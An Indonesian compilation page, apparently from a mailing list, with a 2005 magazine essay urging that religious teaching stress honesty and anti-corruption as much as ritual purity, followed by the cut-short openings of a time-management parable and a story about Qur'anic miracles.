Semasa kecil dulu, kita sering kali diceramahi, di sekolah, di musholla, di langgar dan di surau-surau tempat kita mengaji, tentang kengerian neraka dan kenikmatan surga. Tentang azab-azab yang digambarkan sebagai seterika panas raksasa yang menggerus punggung-punggung kaum durhaka. Tentang surga, yang meskipun tak bisa dibayangkan, tetap saja dibangun sebuah gambaran seperti kebun-kebun anggur, sungai-sungai susu, dan segala kenikmatan yang ada di dalamnya.

Berbagai ajaran memenuhi ruang hidup kita hingga dewasa. Kita diantarkan menjadi dewasa dengan dogma, doktrin, ajaran, anjuran, perintah, juga larangan.

Anjing itu najis dan haram. babi itu najis dan haram. Begitu juga dengan alkohol, haram dan memabukkan.

Jika tak sengaja terjilat anjing milik tetangga, perasaan resah dalam dada kita bukan kepalang besarnya. Digosok tujuh kali dengan tanah, disiram dengan air dan dibersihkan berulang-ulang, seolah liur anjing telah meresap ke dalam pori-pori kita. Begitu juga dengan daging babi. Jauh-jauh kita membentengi diri. Makanan harus bebas dari unsur babi. Membeli kudapan, jangan sampai ada yang digoreng dengan minyak babi. Jika suatu kali makanan kita tercampur tanpa sengaja lalu kita mengetahuinya, seolah kita sudah pasti masuk neraka. Dan itulah yang sebenarnya membuat kita resah. Neraka.

Tapi sayangnya, kita tumbuh dan dewasa tanpa diantar dengan ajaran-ajaran yang jauh lebih vital sifatnya. Kita tidak diajarkan, betapa membuka aurat untuk laki-laki dan perempuan, sama berat larangannya. Kita tidak diajarkan, betapa berbuat buruk dan bohong, azab juga balasannya. Kita tidak diajarkan, mencuri dan mengambil hak orang lain, juga neraka imbalannya.

Dan hari ini kita menemui fenomena yanga mengerikan. Kita lebih takut dijilat anjing daripada membuka pusar dan aurat di jalanan. Kita lebih khawatir dengan unsur babi daripada memakan hak orang lain dan mencuri. Kita lebih takut pada sesuatu yang berimbas personal daripada hal yang berakibat massal.

Bukan berarti menganjurkan najisnya anjing dan haramnya babi tidak penting lagi. Tapi seharusnya, kita mengajarkan juga mencuri, korupsi, berbuat buruk, dan berbohong adalah perbuatan nista, yang berat juga balasannya.

Bukan juga menganggap haramnya alkohol menjadi nomor dua. Tetapi seharusnya kita juga mengajarkan, membuka aurat dan berbuat munafik, neraka juga balasannya. Dengan begitu, semoga kita mampu menjaga anak cucu dari jilatan api yang tak satu pun manusia siap menanggungnya. Amin.


(SABILI NO.21 TH.XII 5 MEI 2005/26 RABIUL AWAL 1426)


Milis DT
Menuju Ahli Dzikir, Ahli Fikir, dan Ahli Ikhtiar  

MANAJEMEN WAKTU


Suatu hari, seorang ahli 'Manajemen Waktu' berbicara di depan sekelompok mahasiswa bisnis, dan ia memakai ilustrasi yg tidak akan dengan mudah dilupakan oleh para siswanya.

Ketika dia berdiri dihadapan siswanya dia berkata: "Baiklah, sekarang waktunya kuis " Kemudian dia mengeluarkan toples berukuran galon yg bermulut cukup lebar, dan meletakkannya di atas meja.

Lalu ia juga mengeluarkan sekitar selusin batu berukuran segenggam tangan dan meletakkan dengan hati- hati batu-batu itu kedalam toples.

Ketika batu itu memenuhi toples sampai ke ujung atas dan tidak ada batu lagi yg muat untuk masuk ke dalamnya, dia bertanya:" Apakah toples ini sudah penuh?"

Semua siswanya serentak menjawab, "Sudah!"

Kemudian dia berkata, "Benarkah?"

Dia lalu meraih dari bawah meja sekeranjang kerikil. Lalu dia memasukkan kerikil-kerikil itu ke dalam toples sambil sedikit mengguncang-guncangkannya, sehingga kerikil itu mendapat tempat diantara celah-celah batu-batu itu.


FACEBOOK DALAM ALQUR'AN


Suatu ketika selepas Ashar di Masjid Al Hikam. Di salah satu pojok masjid tersebut terdapat Ranid dengan dua orang temannya yakni Ahmad dan Ilmi yang terlihat sedang mendiskusikan sesuatu. Kali ini tema yang diangkat seputar masalah I’jazul Quran (Mukjizat Al Quran). Diskusi yang berjalan cukup santai namun sarat akan ilmu.

Indonesia masuk dalam salah satu negara dengan pengguna Facebook terbesar di dunia
Ahmad adalah seorang mahasiswa salah satu PTS di Jakarta dengan program studi Matematika. Seorang calon pengabdi masyarakat dengan ilmunya. Ahmad selalu berupaya mengaitkan Al-Qur’an dengan bidang studinya matematika. Ahmad sering berkutat dengan angka-angka dalam Al-Qur’an.